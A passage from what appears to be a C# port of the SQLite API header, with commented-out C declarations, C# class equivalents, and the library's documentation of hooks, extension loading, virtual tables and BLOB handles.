*db, /* Database to be rekeyed */ // const void *pKey, int nKey /* The key */ //); /* ** Change the key on an open database. If the current database is not ** encrypted, this routine will encrypt it. If pNew==0 or nNew==0, the ** database is decrypted. ** ** The code to implement this API is not available in the public release ** of SQLite. */ //SQLITE_API int sqlite3_rekey( // sqlite3 *db, /* Database to be rekeyed */ // const void *pKey, int nKey /* The new key */ //); /* ** CAPI3REF: Suspend Execution For A Short Time {H10530} ** ** The sqlite3_sleep() function causes the current thread to suspend execution ** for at least a number of milliseconds specified in its parameter. ** ** If the operating system does not support sleep requests with ** millisecond time resolution, then the time will be rounded up to ** the nearest second. The number of milliseconds of sleep actually ** requested from the operating system is returned. ** ** SQLite implements this interface by calling the xSleep() ** method of the default [sqlite3_vfs] object. ** ** Requirements: [H10533] [H10536] */ //SQLITE_API int sqlite3_sleep(int); /* ** CAPI3REF: Name Of The Folder Holding Temporary Files {H10310} ** ** If this global variable is made to point to a string which is ** the name of a folder (a.k.a. directory), then all temporary files ** created by SQLite will be placed in that directory. If this variable ** is a NULL pointer, then SQLite performs a search for an appropriate ** temporary file directory. ** ** It is not safe to read or modify this variable in more than one ** thread at a time. It is not safe to read or modify this variable ** if a [database connection] is being used at the same time in a separate ** thread. ** It is intended that this variable be set once ** as part of process initialization and before any SQLite interface ** routines have been called and that this variable remain unchanged ** thereafter. ** ** The [temp_store_directory pragma] may modify this variable and cause ** it to point to memory obtained from [sqlite3_malloc]. Furthermore, ** the [temp_store_directory pragma] always assumes that any string ** that this variable points to is held in memory obtained from ** [sqlite3_malloc] and the pragma may attempt to free that memory ** using [sqlite3_free]. ** Hence, if this variable is modified directly, either it should be ** made NULL or made to point to memory obtained from [sqlite3_malloc] ** or else the use of the [temp_store_directory pragma] should be avoided. */ //SQLITE_API SQLITE_EXTERN char *sqlite3_temp_directory; /* ** CAPI3REF: Test For Auto-Commit Mode {H12930} ** KEYWORDS: {autocommit mode} ** ** The sqlite3_get_autocommit() interface returns non-zero or ** zero if the given database connection is or is not in autocommit mode, ** respectively. Autocommit mode is on by default. ** Autocommit mode is disabled by a [BEGIN] statement. ** Autocommit mode is re-enabled by a [COMMIT] or [ROLLBACK]. ** ** If certain kinds of errors occur on a statement within a multi-statement ** transaction (errors including [SQLITE_FULL], [SQLITE_IOERR], ** [SQLITE_NOMEM], [SQLITE_BUSY], and [SQLITE_INTERRUPT]) then the ** transaction might be rolled back automatically. The only way to ** find out whether SQLite automatically rolled back the transaction after ** an error is to use this function. ** ** If another thread changes the autocommit status of the database ** connection while this routine is running, then the return value ** is undefined. ** ** Requirements: [H12931] [H12932] [H12933] [H12934] */ //SQLITE_API int sqlite3_get_autocommit(sqlite3*); /* ** CAPI3REF: Find The Database Handle Of A Prepared Statement {H13120} ** ** The sqlite3_db_handle interface returns the [database connection] handle ** to which a [prepared statement] belongs. The [database connection] ** returned by sqlite3_db_handle is the same [database connection] that was the first argument ** to the [sqlite3_prepare_v2()] call (or its variants) that was used to ** create the statement in the first place. ** ** Requirements: [H13123] */ //SQLITE_API sqlite3 *sqlite3_db_handle(sqlite3_stmt*); /* ** CAPI3REF: Find the next prepared statement {H13140} ** ** This interface returns a pointer to the next [prepared statement] after ** pStmt associated with the [database connection] pDb. If pStmt is NULL ** then this interface returns a pointer to the first prepared statement ** associated with the database connection pDb. If no prepared statement ** satisfies the conditions of this routine, it returns NULL. ** ** The [database connection] pointer D in a call to ** [sqlite3_next_stmt(D,S)] must refer to an open database ** connection and in particular must not be a NULL pointer. ** ** Requirements: [H13143] [H13146] [H13149] [H13152] */ //SQLITE_API sqlite3_stmt *sqlite3_next_stmt(sqlite3 *pDb, sqlite3_stmt *pStmt); /* ** CAPI3REF: Commit And Rollback Notification Callbacks {H12950} ** ** The sqlite3_commit_hook() interface registers a callback ** function to be invoked whenever a transaction is [COMMIT | committed]. ** Any callback set by a previous call to sqlite3_commit_hook() ** for the same database connection is overridden. ** The sqlite3_rollback_hook() interface registers a callback ** function to be invoked whenever a transaction is [ROLLBACK | rolled back]. ** Any callback set by a previous call to sqlite3_commit_hook() ** for the same database connection is overridden. ** The pArg argument is passed through to the callback. ** If the callback on a commit hook function returns non-zero, ** then the commit is converted into a rollback. ** ** If another function was previously registered, its ** pArg value is returned. Otherwise NULL is returned. ** ** The callback implementation must not do anything that will modify ** the database connection that invoked the callback. Any actions ** to modify the database connection must be deferred until after the ** completion of the [sqlite3_step()] call that triggered the commit ** or rollback hook in the first place. ** Note that [sqlite3_prepare_v2()] and [sqlite3_step()] both modify their ** database connections for the meaning of "modify" in this paragraph. ** ** Registering a NULL function disables the callback. ** ** When the commit hook callback routine returns zero, the [COMMIT] ** operation is allowed to continue normally. If the commit hook ** returns non-zero, then the [COMMIT] is converted into a [ROLLBACK]. ** The rollback hook is invoked on a rollback that results from a commit ** hook returning non-zero, just as it would be with any other rollback. ** ** For the purposes of this API, a transaction is said to have been ** rolled back if an explicit "ROLLBACK" statement is executed, or ** an error or constraint causes an implicit rollback to occur. ** The rollback callback is not invoked if a transaction is ** automatically rolled back because the database connection is closed. ** The rollback callback is not invoked if a transaction is ** rolled back because a commit callback returned non-zero. ** Check on this ** ** See also the [sqlite3_update_hook()] interface. ** ** Requirements: ** [H12951] [H12952] [H12953] [H12954] [H12955] ** [H12961] [H12962] [H12963] [H12964] */ //SQLITE_API void *sqlite3_commit_hook(sqlite3*, int(*)(void*), void*); //SQLITE_API void *sqlite3_rollback_hook(sqlite3*, void(*)(void *), void*); /* ** CAPI3REF: Data Change Notification Callbacks {H12970} ** ** The sqlite3_update_hook() interface registers a callback function ** with the [database connection] identified by the first argument ** to be invoked whenever a row is updated, inserted or deleted. ** Any callback set by a previous call to this function ** for the same database connection is overridden. ** ** The second argument is a pointer to the function to invoke when a ** row is updated, inserted or deleted. ** The first argument to the callback is a copy of the third argument ** to sqlite3_update_hook(). ** The second callback argument is one of [SQLITE_INSERT], [SQLITE_DELETE], ** or [SQLITE_UPDATE], depending on the operation that caused the callback ** to be invoked. ** The third and fourth arguments to the callback contain pointers to the ** database and table name containing the affected row. ** The final callback parameter is the [rowid] of the row. ** In the case of an update, this is the [rowid] after the update takes place. ** ** The update hook is not invoked when internal system tables are ** modified (i.e. sqlite_master and sqlite_sequence). ** ** In the current implementation, the update hook ** is not invoked when duplication rows are deleted because of an ** [ON CONFLICT | ON CONFLICT REPLACE] clause. Nor is the update hook ** invoked when rows are deleted using the [truncate optimization]. ** The exceptions defined in this paragraph might change in a future ** release of SQLite. ** ** The update hook implementation must not do anything that will modify ** the database connection that invoked the update hook. Any actions ** to modify the database connection must be deferred until after the ** completion of the [sqlite3_step()] call that triggered the update hook. ** Note that [sqlite3_prepare_v2()] and [sqlite3_step()] both modify their ** database connections for the meaning of "modify" in this paragraph. ** ** If another function was previously registered, its pArg value ** is returned. Otherwise NULL is returned. ** ** See also the [sqlite3_commit_hook()] and [sqlite3_rollback_hook()] ** interfaces. ** ** Requirements: ** [H12971] [H12973] [H12975] [H12977] [H12979] [H12981] [H12983] [H12986] */ //SQLITE_API void *sqlite3_update_hook( // sqlite3*, // void(*)(void *,int ,char const *,char const *,sqlite3_int64), // void* //); /* ** CAPI3REF: Enable Or Disable Shared Pager Cache {H10330} ** KEYWORDS: {shared cache} ** ** This routine enables or disables the sharing of the database cache ** and schema data structures between [database connection | connections] ** to the same database. Sharing is enabled if the argument is true ** and disabled if the argument is false. ** ** Cache sharing is enabled and disabled for an entire process. ** This is a change as of SQLite version 3.5.0. In prior versions of SQLite, ** sharing was enabled or disabled for each thread separately. ** ** The cache sharing mode set by this interface effects all subsequent ** calls to [sqlite3_open()], [sqlite3_open_v2()], and [sqlite3_open16()]. ** Existing database connections continue use the sharing mode ** that was in effect at the time they were opened. ** ** Virtual tables cannot be used with a shared cache. When shared ** cache is enabled, the [sqlite3_create_module()] API used to register ** virtual tables will always return an error. ** ** This routine returns [SQLITE_OK] if shared cache was enabled or disabled ** successfully. An [error code] is returned otherwise. ** ** Shared cache is disabled by default. But this might change in ** future releases of SQLite. Applications that care about shared ** cache setting should set it explicitly. ** ** See Also: [SQLite Shared-Cache Mode] ** ** Requirements: [H10331] [H10336] [H10337] [H10339] */ //SQLITE_API int sqlite3_enable_shared_cache(int); /* ** CAPI3REF: Attempt To Free Heap Memory {H17340} ** ** The sqlite3_release_memory() interface attempts to free N bytes ** of heap memory by deallocating non-essential memory allocations ** held by the database library. {END} Memory used to cache database ** pages to improve performance is an example of non-essential memory. ** sqlite3_release_memory() returns the number of bytes actually freed, ** which might be more or less than the amount requested. ** ** Requirements: [H17341] [H17342] */ //SQLITE_API int sqlite3_release_memory(int); /* ** CAPI3REF: Impose A Limit On Heap Size {H17350} ** ** The sqlite3_soft_heap_limit() interface places a "soft" limit ** on the amount of heap memory that may be allocated by SQLite. ** If an internal allocation is requested that would exceed the ** soft heap limit, [sqlite3_release_memory()] is invoked one or ** more times to free up some space before the allocation is performed. ** ** The limit is called "soft", because if [sqlite3_release_memory()] ** cannot free sufficient memory to prevent the limit from being exceeded, ** the memory is allocated anyway and the current operation proceeds. ** ** A negative or zero value for N means that there is no soft heap limit and ** [sqlite3_release_memory()] will only be called when memory is exhausted. ** The default value for the soft heap limit is zero. ** ** SQLite makes a best effort to honor the soft heap limit. ** But if the soft heap limit cannot be honored, execution will ** continue without error or notification. This is why the limit is ** called a "soft" limit. It is advisory only. ** ** Prior to SQLite version 3.5.0, this routine only constrained the memory ** allocated by a single thread - the same thread in which this routine ** runs. Beginning with SQLite version 3.5.0, the soft heap limit is ** applied to all threads. The value specified for the soft heap limit ** is an upper bound on the total memory allocation for all threads. In ** version 3.5.0 there is no mechanism for limiting the heap usage for ** individual threads. ** ** Requirements: ** [H16351] [H16352] [H16353] [H16354] [H16355] [H16358] */ //SQLITE_API void sqlite3_soft_heap_limit(int); /* ** CAPI3REF: Extract Metadata About A Column Of A Table {H12850} ** ** This routine returns metadata about a specific column of a specific ** database table accessible using the [database connection] handle ** passed as the first function argument. ** ** The column is identified by the second, third and fourth parameters to ** this function. The second parameter is either the name of the database ** (i.e. "main", "temp" or an attached database) containing the specified ** table or NULL. If it is NULL, then all attached databases are searched ** for the table using the same algorithm used by the database engine to ** resolve unqualified table references. ** ** The third and fourth parameters to this function are the table and column ** name of the desired column, respectively. Neither of these parameters ** may be NULL. ** ** Metadata is returned by writing to the memory locations passed as the 5th ** and subsequent parameters to this function. Any of these arguments may be ** NULL, in which case the corresponding element of metadata is omitted. ** **
    ** **
    Parameter Output
    Type
    Description ** **
    5th const char* Data type **
    6th const char* Name of default collation sequence **
    7th int True if column has a NOT NULL constraint **
    8th int True if column is part of the PRIMARY KEY **
    9th int True if column is [AUTOINCREMENT] **
    **
    ** ** The memory pointed to by the character pointers returned for the ** declaration type and collation sequence is valid only until the next ** call to any SQLite API function. ** ** If the specified table is actually a view, an [error code] is returned. ** ** If the specified column is "rowid", "oid" or "_rowid_" and an ** [INTEGER PRIMARY KEY] column has been explicitly declared, then the output ** parameters are set for the explicitly declared column. If there is no ** explicitly declared [INTEGER PRIMARY KEY] column, then the output ** parameters are set as follows: ** **
        **     data type: "INTEGER"
        **     collation sequence: "BINARY"
        **     not null: 0
        **     primary key: 1
        **     auto increment: 0
        ** 
    ** ** This function may load one or more schemas from database files. If an ** error occurs during this process, or if the requested table or column ** cannot be found, an [error code] is returned and an error message left ** in the [database connection] (to be retrieved using sqlite3_errmsg()). ** ** This API is only available if the library was compiled with the ** [SQLITE_ENABLE_COLUMN_METADATA] C-preprocessor symbol defined. */ //SQLITE_API int sqlite3_table_column_metadata( // sqlite3 *db, /* Connection handle */ // const char *zDbName, /* Database name or NULL */ // const char *zTableName, /* Table name */ // const char *zColumnName, /* Column name */ // char const **pzDataType, /* OUTPUT: Declared data type */ // char const **pzCollSeq, /* OUTPUT: Collation sequence name */ // int *pNotNull, /* OUTPUT: True if NOT NULL constraint exists */ // int *pPrimaryKey, /* OUTPUT: True if column part of PK */ // int *pAutoinc /* OUTPUT: True if column is auto-increment */ //); /* ** CAPI3REF: Load An Extension {H12600} ** ** This interface loads an SQLite extension library from the named file. ** ** {H12601} The sqlite3_load_extension() interface attempts to load an ** SQLite extension library contained in the file zFile. ** ** {H12602} The entry point is zProc. ** ** {H12603} zProc may be 0, in which case the name of the entry point ** defaults to "sqlite3_extension_init". ** ** {H12604} The sqlite3_load_extension() interface shall return ** [SQLITE_OK] on success and [SQLITE_ERROR] if something goes wrong. ** ** {H12605} If an error occurs and pzErrMsg is not 0, then the ** [sqlite3_load_extension()] interface shall attempt to ** fill *pzErrMsg with error message text stored in memory ** obtained from [sqlite3_malloc()]. {END} The calling function ** should free this memory by calling [sqlite3_free()]. ** ** {H12606} Extension loading must be enabled using ** [sqlite3_enable_load_extension()] prior to calling this API, ** otherwise an error will be returned. */ //SQLITE_API int sqlite3_load_extension( // sqlite3 *db, /* Load the extension into this database connection */ // const char *zFile, /* Name of the shared library containing extension */ // const char *zProc, /* Entry point. Derived from zFile if 0 */ // char **pzErrMsg /* Put error message here if not 0 */ //); /* ** CAPI3REF: Enable Or Disable Extension Loading {H12620} ** ** So as not to open security holes in older applications that are ** unprepared to deal with extension loading, and as a means of disabling ** extension loading while evaluating user-entered SQL, the following API ** is provided to turn the [sqlite3_load_extension()] mechanism on and off. ** ** Extension loading is off by default. See ticket #1863. ** ** {H12621} Call the sqlite3_enable_load_extension() routine with onoff==1 ** to turn extension loading on and call it with onoff==0 to turn ** it back off again. ** ** {H12622} Extension loading is off by default. */ //SQLITE_API int sqlite3_enable_load_extension(sqlite3 *db, int onoff); /* ** CAPI3REF: Automatically Load An Extensions {H12640} ** ** This API can be invoked at program startup in order to register ** one or more statically linked extensions that will be available ** to all new [database connections]. {END} ** ** This routine stores a pointer to the extension in an array that is ** obtained from [sqlite3_malloc()]. If you run a memory leak checker ** on your program and it reports a leak because of this array, invoke ** [sqlite3_reset_auto_extension()] prior to shutdown to free the memory. ** ** {H12641} This function registers an extension entry point that is ** automatically invoked whenever a new [database connection] ** is opened using [sqlite3_open()], [sqlite3_open16()], ** or [sqlite3_open_v2()]. ** ** {H12642} Duplicate extensions are detected so calling this routine ** multiple times with the same extension is harmless. ** ** {H12643} This routine stores a pointer to the extension in an array ** that is obtained from [sqlite3_malloc()]. ** ** {H12644} Automatic extensions apply across all threads. */ //SQLITE_API int sqlite3_auto_extension(void (*xEntryPoint)(void)); /* ** CAPI3REF: Reset Automatic Extension Loading {H12660} ** ** This function disables all previously registered automatic ** extensions. {END} It undoes the effect of all prior ** [sqlite3_auto_extension()] calls. ** ** {H12661} This function disables all previously registered ** automatic extensions. ** ** {H12662} This function disables automatic extensions in all threads. */ //SQLITE_API void sqlite3_reset_auto_extension(void); /* ****** EXPERIMENTAL - subject to change without notice ************** ** ** The interface to the virtual-table mechanism is currently considered ** to be experimental. The interface might change in incompatible ways. ** If this is a problem for you, do not use the interface at this time. ** ** When the virtual-table mechanism stabilizes, we will declare the ** interface fixed, support it indefinitely, and remove this comment. */ /* ** Structures used by the virtual table interface */ //typedef struct sqlite3_vtab sqlite3_vtab; //typedef struct sqlite3_index_info sqlite3_index_info; //typedef struct sqlite3_vtab_cursor sqlite3_vtab_cursor; //typedef struct sqlite3_module sqlite3_module; /* ** CAPI3REF: Virtual Table Object {H18000} ** KEYWORDS: sqlite3_module {virtual table module} ** EXPERIMENTAL ** ** This structure, sometimes called a a "virtual table module", ** defines the implementation of a [virtual tables]. ** This structure consists mostly of methods for the module. ** ** A virtual table module is created by filling in a persistent ** instance of this structure and passing a pointer to that instance ** to [sqlite3_create_module()] or [sqlite3_create_module_v2()]. ** The registration remains valid until it is replaced by a different ** module or until the [database connection] closes. The content ** of this structure must not change while it is registered with ** any database connection. */ //struct sqlite3_module { // int iVersion; // int (*xCreate)(sqlite3*, void *pAux, // int argc, const char *const*argv, // sqlite3_vtab **ppVTab, char**); // int (*xConnect)(sqlite3*, void *pAux, // int argc, const char *const*argv, // sqlite3_vtab **ppVTab, char**); // int (*xBestIndex)(sqlite3_vtab *pVTab, sqlite3_index_info*); // int (*xDisconnect)(sqlite3_vtab *pVTab); // int (*xDestroy)(sqlite3_vtab *pVTab); // int (*xOpen)(sqlite3_vtab *pVTab, sqlite3_vtab_cursor **ppCursor); // int (*xClose)(sqlite3_vtab_cursor*); // int (*xFilter)(sqlite3_vtab_cursor*, int idxNum, const char *idxStr, // int argc, sqlite3_value **argv); // int (*xNext)(sqlite3_vtab_cursor*); // int (*xEof)(sqlite3_vtab_cursor*); // int (*xColumn)(sqlite3_vtab_cursor*, sqlite3_context*, int); // int (*xRowid)(sqlite3_vtab_cursor*, sqlite3_int64 *pRowid); // int (*xUpdate)(sqlite3_vtab *, int, sqlite3_value **, sqlite3_int64 *); // int (*xBegin)(sqlite3_vtab *pVTab); // int (*xSync)(sqlite3_vtab *pVTab); // int (*xCommit)(sqlite3_vtab *pVTab); // int (*xRollback)(sqlite3_vtab *pVTab); // int (*xFindFunction)(sqlite3_vtab *pVtab, int nArg, const char *zName, // void (**pxFunc)(sqlite3_context*,int,sqlite3_value**), // void **ppArg); // int (*xRename)(sqlite3_vtab *pVtab, const char *zNew); //}; // MINIMAL STRUCTURE public class sqlite3_module { public int iVersion; public smdxCreate xCreate; public smdxConnect xConnect; public smdxBestIndex xBestIndex; public smdxDisconnect xDisconnect; public smdxDestroy xDestroy; public smdxOpen xOpen; public smdxClose xClose; public smdxFilter xFilter; public smdxNext xNext; public smdxEof xEof; public smdxColumn xColumn; public smdxRowid xRowid; public smdxUpdate xUpdate; public smdxBegin xBegin; public smdxSync xSync; public smdxCommit xCommit; public smdxRollback xRollback; public smdxFindFunction xFindFunction; public smdxRename xRename; } /* ** CAPI3REF: Virtual Table Indexing Information {H18100} ** KEYWORDS: sqlite3_index_info ** EXPERIMENTAL ** ** The sqlite3_index_info structure and its substructures is used to ** pass information into and receive the reply from the [xBestIndex] ** method of a [virtual table module]. The fields under **Inputs** are the ** inputs to xBestIndex and are read-only. xBestIndex inserts its ** results into the **Outputs** fields. ** ** The aConstraint[] array records WHERE clause constraints of the form: ** **
    column OP expr
    ** ** where OP is =, <, <=, >, or >=. The particular operator is ** stored in aConstraint[].op. The index of the column is stored in ** aConstraint[].iColumn. aConstraint[].usable is TRUE if the ** expr on the right-hand side can be evaluated (and thus the constraint ** is usable) and false if it cannot. ** ** The optimizer automatically inverts terms of the form "expr OP column" ** and makes other simplifications to the WHERE clause in an attempt to ** get as many WHERE clause terms into the form shown above as possible. ** The aConstraint[] array only reports WHERE clause terms in the correct ** form that refer to the particular virtual table being queried. ** ** Information about the ORDER BY clause is stored in aOrderBy[]. ** Each term of aOrderBy records a column of the ORDER BY clause. ** ** The [xBestIndex] method must fill aConstraintUsage[] with information ** about what parameters to pass to xFilter. If argvIndex>0 then ** the right-hand side of the corresponding aConstraint[] is evaluated ** and becomes the argvIndex-th entry in argv. If aConstraintUsage[].omit ** is true, then the constraint is assumed to be fully handled by the ** virtual table and is not checked again by SQLite. ** ** The idxNum and idxPtr values are recorded and passed into the ** [xFilter] method. ** [sqlite3_free()] is used to free idxPtr if and only iff ** needToFreeIdxPtr is true. ** ** The orderByConsumed means that output from [xFilter]/[xNext] will occur in ** the correct order to satisfy the ORDER BY clause so that no separate ** sorting step is required. ** ** The estimatedCost value is an estimate of the cost of doing the ** particular lookup. A full scan of a table with N entries should have ** a cost of N. A binary search of a table of N entries should have a ** cost of approximately log(N). */ //struct sqlite3_index_info { // /* Inputs */ // int nConstraint; /* Number of entries in aConstraint */ // struct sqlite3_index_constraint { // int iColumn; /* Column on left-hand side of constraint */ // unsigned char op; /* Constraint operator */ // unsigned char usable; /* True if this constraint is usable */ // int iTermOffset; /* Used internally - xBestIndex should ignore */ // } *aConstraint; /* Table of WHERE clause constraints */ // int nOrderBy; /* Number of terms in the ORDER BY clause */ // struct sqlite3_index_orderby { // int iColumn; /* Column number */ // unsigned char desc; /* True for DESC. False for ASC. */ // } *aOrderBy; /* The ORDER BY clause */ // /* Outputs */ // struct sqlite3_index_constraint_usage { // int argvIndex; /* if >0, constraint is part of argv to xFilter */ // unsigned char omit; /* Do not code a test for this constraint */ // } *aConstraintUsage; // int idxNum; /* Number used to identify the index */ // char *idxStr; /* String, possibly obtained from sqlite3_malloc */ // int needToFreeIdxStr; /* Free idxStr using sqlite3_free() if true */ // int orderByConsumed; /* True if output is already ordered */ // double estimatedCost; /* Estimated cost of using this index */ //}; public class sqlite3_index_constraint { public int iColumn; /* Column on left-hand side of constraint */ public int op; /* Constraint operator */ public bool usable; /* True if this constraint is usable */ public int iTermOffset; /* Used internally - xBestIndex should ignore */ } public class sqlite3_index_orderby { public int iColumn; /* Column number */ public bool desc; /* True for DESC. False for ASC. */ } public class sqlite3_index_constraint_usage { public int argvIndex; /* if >0, constraint is part of argv to xFilter */ public bool omit; /* Do not code a test for this constraint */ } public class sqlite3_index_info { /* Inputs */ public int nConstraint; /* Number of entries in aConstraint */ public sqlite3_index_constraint[] aConstraint; /* Table of WHERE clause constraints */ public int nOrderBy; /* Number of terms in the ORDER BY clause */ public sqlite3_index_orderby[] aOrderBy;/* The ORDER BY clause */ /* Outputs */ public sqlite3_index_constraint_usage[] aConstraintUsage; public int idxNum; /* Number used to identify the index */ public string idxStr; /* String, possibly obtained from sqlite3Malloc */ public int needToFreeIdxStr; /* Free idxStr using //sqlite3DbFree(db,) if true */ public bool orderByConsumed; /* True if output is already ordered */ public double estimatedCost; /* Estimated cost of using this index */ } //#define SQLITE_INDEX_CONSTRAINT_EQ 2 //#define SQLITE_INDEX_CONSTRAINT_GT 4 //#define SQLITE_INDEX_CONSTRAINT_LE 8 //#define SQLITE_INDEX_CONSTRAINT_LT 16 //#define SQLITE_INDEX_CONSTRAINT_GE 32 //#define SQLITE_INDEX_CONSTRAINT_MATCH 64 const int SQLITE_INDEX_CONSTRAINT_EQ = 2; const int SQLITE_INDEX_CONSTRAINT_GT = 4; const int SQLITE_INDEX_CONSTRAINT_LE = 8; const int SQLITE_INDEX_CONSTRAINT_LT = 16; const int SQLITE_INDEX_CONSTRAINT_GE = 32; const int SQLITE_INDEX_CONSTRAINT_MATCH = 64; /* ** CAPI3REF: Register A Virtual Table Implementation {H18200} ** EXPERIMENTAL ** ** This routine is used to register a new [virtual table module] name. ** Module names must be registered before ** creating a new [virtual table] using the module, or before using a ** preexisting [virtual table] for the module. ** ** The module name is registered on the [database connection] specified ** by the first parameter. The name of the module is given by the ** second parameter. The third parameter is a pointer to ** the implementation of the [virtual table module]. The fourth ** parameter is an arbitrary client data pointer that is passed through ** into the [xCreate] and [xConnect] methods of the virtual table module ** when a new virtual table is be being created or reinitialized. ** ** This interface has exactly the same effect as calling ** [sqlite3_create_module_v2()] with a NULL client data destructor. */ //SQLITE_API SQLITE_EXPERIMENTAL int sqlite3_create_module( // sqlite3 *db, /* SQLite connection to register module with */ // const char *zName, /* Name of the module */ // const sqlite3_module *p, /* Methods for the module */ // void *pClientData /* Client data for xCreate/xConnect */ //); /* ** CAPI3REF: Register A Virtual Table Implementation {H18210} ** EXPERIMENTAL ** ** This routine is identical to the [sqlite3_create_module()] method, ** except that it has an extra parameter to specify ** a destructor function for the client data pointer. SQLite will ** invoke the destructor function (if it is not NULL) when SQLite ** no longer needs the pClientData pointer. */ //SQLITE_API SQLITE_EXPERIMENTAL int sqlite3_create_module_v2( // sqlite3 *db, /* SQLite connection to register module with */ // const char *zName, /* Name of the module */ // const sqlite3_module *p, /* Methods for the module */ // void *pClientData, /* Client data for xCreate/xConnect */ // void(*xDestroy)(void*) /* Module destructor function */ //); /* ** CAPI3REF: Virtual Table Instance Object {H18010} ** KEYWORDS: sqlite3_vtab ** EXPERIMENTAL ** ** Every [virtual table module] implementation uses a subclass ** of the following structure to describe a particular instance ** of the [virtual table]. Each subclass will ** be tailored to the specific needs of the module implementation. ** The purpose of this superclass is to define certain fields that are ** common to all module implementations. ** ** Virtual tables methods can set an error message by assigning a ** string obtained from [sqlite3_mprintf()] to zErrMsg. The method should ** take care that any prior string is freed by a call to [sqlite3_free()] ** prior to assigning a new string to zErrMsg. After the error message ** is delivered up to the client application, the string will be automatically ** freed by sqlite3_free() and the zErrMsg field will be zeroed. */ //struct sqlite3_vtab { // const sqlite3_module *pModule; /* The module for this virtual table */ // int nRef; /* NO LONGER USED */ // char *zErrMsg; /* Error message from sqlite3_mprintf() */ /* Virtual table implementations will typically add additional fields */ //}; public struct sqlite3_vtab { public sqlite3_module pModule; /* The module for this virtual table */ public int nRef; /* Used internally */ public string zErrMsg; /* Error message from sqlite3_mprintf() */ /* Virtual table implementations will typically add additional fields */ }; /* ** CAPI3REF: Virtual Table Cursor Object {H18020} ** KEYWORDS: sqlite3_vtab_cursor {virtual table cursor} ** EXPERIMENTAL ** ** Every [virtual table module] implementation uses a subclass of the ** following structure to describe cursors that point into the ** [virtual table] and are used ** to loop through the virtual table. Cursors are created using the ** [sqlite3_module.xOpen | xOpen] method of the module and are destroyed ** by the [sqlite3_module.xClose | xClose] method. Cussors are used ** by the [xFilter], [xNext], [xEof], [xColumn], and [xRowid] methods ** of the module. Each module implementation will define ** the content of a cursor structure to suit its own needs. ** ** This superclass exists in order to define fields of the cursor that ** are common to all implementations. */ //struct sqlite3_vtab_cursor { // sqlite3_vtab *pVtab; /* Virtual table of this cursor */ /* Virtual table implementations will typically add additional fields */ //}; public class sqlite3_vtab_cursor { sqlite3_vtab pVtab; /* Virtual table of this cursor */ /* Virtual table implementations will typically add additional fields */ }; /* ** CAPI3REF: Declare The Schema Of A Virtual Table {H18280} ** EXPERIMENTAL ** ** The [xCreate] and [xConnect] methods of a ** [virtual table module] call this interface ** to declare the format (the names and datatypes of the columns) of ** the virtual tables they implement. */ //SQLITE_API SQLITE_EXPERIMENTAL int sqlite3_declare_vtab(sqlite3*, const char *zSQL); /* ** CAPI3REF: Overload A Function For A Virtual Table {H18300} ** EXPERIMENTAL ** ** Virtual tables can provide alternative implementations of functions ** using the [xFindFunction] method of the [virtual table module]. ** But global versions of those functions ** must exist in order to be overloaded. ** ** This API makes sure a global version of a function with a particular ** name and number of parameters exists. If no such function exists ** before this API is called, a new function is created. The implementation ** of the new function always causes an exception to be thrown. So ** the new function is not good for anything by itself. Its only ** purpose is to be a placeholder function that can be overloaded ** by a [virtual table]. */ //SQLITE_API SQLITE_EXPERIMENTAL int sqlite3_overload_function(sqlite3*, const char *zFuncName, int nArg); /* ** The interface to the virtual-table mechanism defined above (back up ** to a comment remarkably similar to this one) is currently considered ** to be experimental. The interface might change in incompatible ways. ** If this is a problem for you, do not use the interface at this time. ** ** When the virtual-table mechanism stabilizes, we will declare the ** interface fixed, support it indefinitely, and remove this comment. ** ****** EXPERIMENTAL - subject to change without notice ************** */ /* ** CAPI3REF: A Handle To An Open BLOB {H17800} ** KEYWORDS: {BLOB handle} {BLOB handles} ** ** An instance of this object represents an open BLOB on which ** [sqlite3_blob_open | incremental BLOB I/O] can be performed. ** Objects of this type are created by [sqlite3_blob_open()] ** and destroyed by [sqlite3_blob_close()]. ** The [sqlite3_blob_read()] and [sqlite3_blob_write()] interfaces ** can be used to read or write small subsections of the BLOB. ** The [sqlite3_blob_bytes()] interface returns the size of the BLOB in bytes. */ //typedef struct sqlite3_blob sqlite3_blob; /* ** CAPI3REF: Open A BLOB For Incremental I/O {H17810} ** ** This interfaces opens a [BLOB handle | handle] to the BLOB located ** in row iRow, column zColumn, table zTable in database zDb; ** in other words, the same BLOB that would be selected by: ** **
        **     SELECT zColumn FROM zDb.zTable WHERE [rowid] = iRow;
        ** 
    {END} ** ** If the flags parameter is non-zero, then the BLOB is opened for read ** and write access. If it is zero, the BLOB is opened for read access. ** ** Note that the database name is not the filename that contains ** the database but rather the symbolic name of the database that ** is assigned when the database is connected using [ATTACH]. ** For the main database file, the database name is "main". ** For TEMP tables, the database name is "temp". ** ** On success, [SQLITE_OK] is returned and the new [BLOB handle] is written ** to *ppBlob. Otherwise an [error code] is returned and *ppBlob is set ** to be a null pointer. ** This function sets the [database connection] error code and message ** accessible via [sqlite3_errcode()] and [sqlite3_errmsg()] and related ** functions. Note that the *ppBlob variable is always initialized in a ** way that makes it safe to invoke [sqlite3_blob_close()] on *ppBlob ** regardless of the success or failure of this routine. ** ** If the row that a BLOB handle points to is modified by an ** [UPDATE], [DELETE], or by [ON CONFLICT] side-effects ** then the BLOB handle is marked as "expired". ** This is true if any column of the row is changed, even a column ** other than the one the BLOB handle is open on. ** Calls to [sqlite3_blob_read()] and [sqlite3_blob_write()] for ** a expired BLOB handle fail with an return code of [SQLITE_ABORT]. ** Changes written into a BLOB prior to the BLOB expiring are not ** rollback by the expiration of the BLOB. Such changes will eventually ** commit if the transaction continues to completion. ** ** Use the [sqlite3_blob_bytes()] interface to determine the size of ** the opened blob. The size of a blob may not be changed by this ** underface. Use the [UPDATE] SQL command to change the size of a ** blob. ** ** The [sqlite3_bind_zeroblob()] and [sqlite3_result_zeroblob()] interfaces ** and the built-in [zeroblob] SQL function can be used, if desired, ** to create an empty, zero-filled blob in which to read or write using ** this interface. ** ** To avoid a resource leak, every open [BLOB handle] should eventually ** be released by a call to [sqlite3_blob_close()]. ** ** Requirements: ** [H17813] [H17814] [H17816] [H17819] [H17821] [H17824] */ //SQLITE_API int sqlite3_blob_open( // sqlite3*, // const char *zDb, // const char *zTable, // const char *zColumn, // sqlite3_int64 iRow, // int flags, // sqlite3_blob **ppBlob //); /* ** CAPI3REF: Close A BLOB Handle {H17830} ** ** Closes an open [BLOB handle]. ** ** Closing a BLOB shall cause the current transaction to commit ** if there are no other BLOBs, no pending prepared statements, and the ** database connection is in [autocommit mode]. ** If any writes were made to the BLOB, they might be held in cache ** until the close operation if they will fit. ** ** Closing the 